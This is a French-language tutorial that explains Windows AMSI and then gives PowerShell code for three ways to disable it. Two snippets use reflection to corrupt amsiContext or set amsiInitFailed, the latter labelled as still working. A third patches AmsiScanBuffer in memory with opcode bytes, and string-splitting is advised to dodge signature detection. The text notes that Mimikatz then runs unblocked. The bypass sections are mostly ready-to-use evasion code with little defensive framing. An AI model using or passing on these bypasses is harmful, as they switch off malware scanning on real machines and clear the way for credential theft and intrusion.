SOMMAIRE
0 méthodes de détection des malwares
1 qu'est-ce qu'amsi
2 flux d'exécution d'amsi
3 composants pris en charge
4 api amsi — les fonctions
5 identifier les processus utilisant amsi
6 le bypass — casser la chaîne
7 bypass 1 — corruption d'amsicontext (patché)
8 bypass 2 — amsiinitfailed (actif)
9 bypass 3 — patch d'amsiscanbuffer
──[ 0. Méthodes de Détection des Malwares ]──
Les éditeurs empilent quelques couches de détection :
Signature Hash d'un binaire connu malveillant contre une base.
Statique Pattern matching sur strings, blobs encodés, séquences d'oc
tets.
Dynamique Comportement à l'exécution — calc.exe qui spawn cmd.exe, ce
genre de choses.
Machine learning Détection d'anomalies sur une baseline apprise. Standard da
ns les EDR modernes.
──[ 1. Qu'est-ce qu'AMSI ]──
AMSI (Anti-Malware Scan Interface), c'est l'API Windows qui permet aux produits
de sécurité d'inspecter le contenu des scripts et buffers avant qu'ils ne
s'exécutent. Sortie avec Windows 10.
L'interface est générique : n'importe quoi peut appeler AMSI, n'importe qui peut
s'enregistrer comme provider.
L'intérêt c'est qu'AMSI voit les buffers, pas seulement les fichiers sur disque.
C'est ce qui le rend efficace contre les payloads fileless et obfusqués.
──[ 2. Flux d'Exécution d'AMSI ]──
1. Quelque chose demande un scan (ex. une commande PowerShell qui va s'exécu
ter).
2. La requête part vers le provider AMSI enregistré.
3. Le provider applique sa logique de détection.
4. Le résultat revient, l'appelant décide : autoriser ou bloquer.
──[ 3. Composants Pris en Charge ]──
AMSI est branché sur :
PowerShell (v3.0+)
Windows Script Host (wscript.exe, cscript.exe)
JavaScript / VBScript
Macros VBA (Office)
.NET Framework 4.8+
WMI
──[ 4. API AMSI — Les Fonctions ]──
Init
AmsiInitialize(APP_NAME, &amsiContext)
Renvoie le handle HAMSICONTEXT dont tous les appels suivants ont besoin.
AmsiOpenSession(amsiContext, &session)
Ouvre une session pour corréler plusieurs scans — utile quand un
payload arrive en morceaux sur plusieurs commandes.
Scan
AmsiScanBuffer(amsiContext, buf, size, name, session, &result)
Envoie un buffer mémoire au provider. On récupère l'un de :
AMSI_RESULT_CLEAN (0) rien trouvé
AMSI_RESULT_NOT_DETECTED (1) pas flaggé
AMSI_RESULT_BLOCKED_BY_ADMIN (16384–20479) politique admin
AMSI_RESULT_DETECTED (32768) menace
L'appelant prend ce résultat et fait ce qu'il veut avec.
──[ 5. Identifier les Processus Utilisant AMSI ]──
Lister les processus qui ont chargé amsi.dll :
tasklist /m amsi*
Seuls les processus en cours sortent — c'est de la lecture en mémoire.
Quel provider de sécurité est enregistré :
Get-WmiObject -Namespace "root\securitycenter2" `
-Class AntivirusProduct |
Select-Object DisplayName, PathToSignedProductExe, ProductState
──[ 6. Le Bypass — Casser la Chaîne ]──
Tous les bypass AMSI cassent le lien entre l'API et le provider. La structure
HAMSICONTEXT est partagée par tous les appels AMSI — on la corrompt, et tous les
scans suivants échouent en silence. AMSI est mort pour le processus.
Microsoft n'a pas publié le layout de HAMSICONTEXT, mais des chercheurs l'ont
reversé. Le premier DWORD est un magic header (0x49534D41, "AMSI"), et il y a un
champ amsiInitFailed dedans aussi.
──[ 7. Bypass 1 — Corruption d'AmsiContext (PATCHÉ) ]──
On utilise la réflexion .NET pour trouver le pointeur interne amsiContext dans
la classe AmsiUtils de PowerShell, puis on le zéroïse.
$fields = [Ref].Assembly.GetType(
'System.Management.Automation.AmsiUtils'
).GetFields('NonPublic,Static')
$amsiContext = $fields | Where-Object { $_ -like "*Context" }
[IntPtr]$ptr = $amsiContext.GetValue($null)
[Int32[]]$empty = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($empty, 0, $ptr, 1)
Ligne par ligne :
1. [Ref].Assembly te donne l'assembly courante par réflexion — on saute
les règles de visibilité normales.
2. GetType() récupère la classe interne AmsiUtils.
3. GetFields('NonPublic,Static') va chercher les champs privés. La
réflexion se moque des modificateurs d'accès OOP.
4. Wildcard "*Context" plutôt que la string "amsiContext" en dur —
cette string est elle-même flaggée par certains providers.
5. GetValue($null) te file le pointeur brut vers HAMSICONTEXT.
6. Marshal::Copy écrase le premier octet. Le magic header meurt, tous
les scans renvoient une erreur silencieusement ignorée.
Un octet suffit : le magic cassé fait que AmsiScanBuffer erreur avant de scanner
quoi que ce soit.
Patché dans les builds récents de Windows.
──[ 8. Bypass 2 — amsiInitFailed (ACTIF) ]──
Plus simple : flip amsiInitFailed à true. AMSI fait comme si l'init avait
échoué, plus aucun scan n'est tenté.
$field = [Ref].Assembly.GetType(
'System.Management.Automation.AmsiUtils'
).GetFields('NonPublic,Static') |
Where-Object { $_.Name -like "amsiInitFailed" }
$field.SetValue($null, $true)
Résultat : Mimikatz et compagnie, bloqués par AMSI avant ce bypass, tournent
sans rien après.
──[ 9. Bypass 3 — Patch d'AmsiScanBuffer ]──
Plus bas niveau : on patche AmsiScanBuffer en mémoire pour qu'elle retourne
E_INVALIDARG (0x80070057) direct, sans jamais appeler le provider.
// C# inline compilé à l'exécution
[DllImport("kernel32")] LoadLibrary(string)
[DllImport("kernel32")] GetProcAddress(IntPtr, string)
[DllImport("kernel32")] VirtualProtect(IntPtr, UIntPtr, uint, out uint)
$lib = [Win32]::LoadLibrary("am" + "si.dll") // string obfusquée
$addr = [Win32]::GetProcAddress($lib, "Amsi"+"Scan"+"Buffer")
// Marque la page RWX pour pouvoir écrire dedans
[Win32]::VirtualProtect($addr, 5, 0x40, [ref]$p)
// Octets du patch :
// B8 57 00 07 80 -> MOV EAX, 0x80070057 (E_INVALIDARG)
// C3 -> RET
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[Marshal]::Copy($patch, 0, $addr, 6)
Le découpage "am"+"si.dll" c'est juste pour éviter la détection par signature du
nom de la DLL. Le patch remplace le prologue par "retourne une erreur" — chaque
appel de scan crève proprement.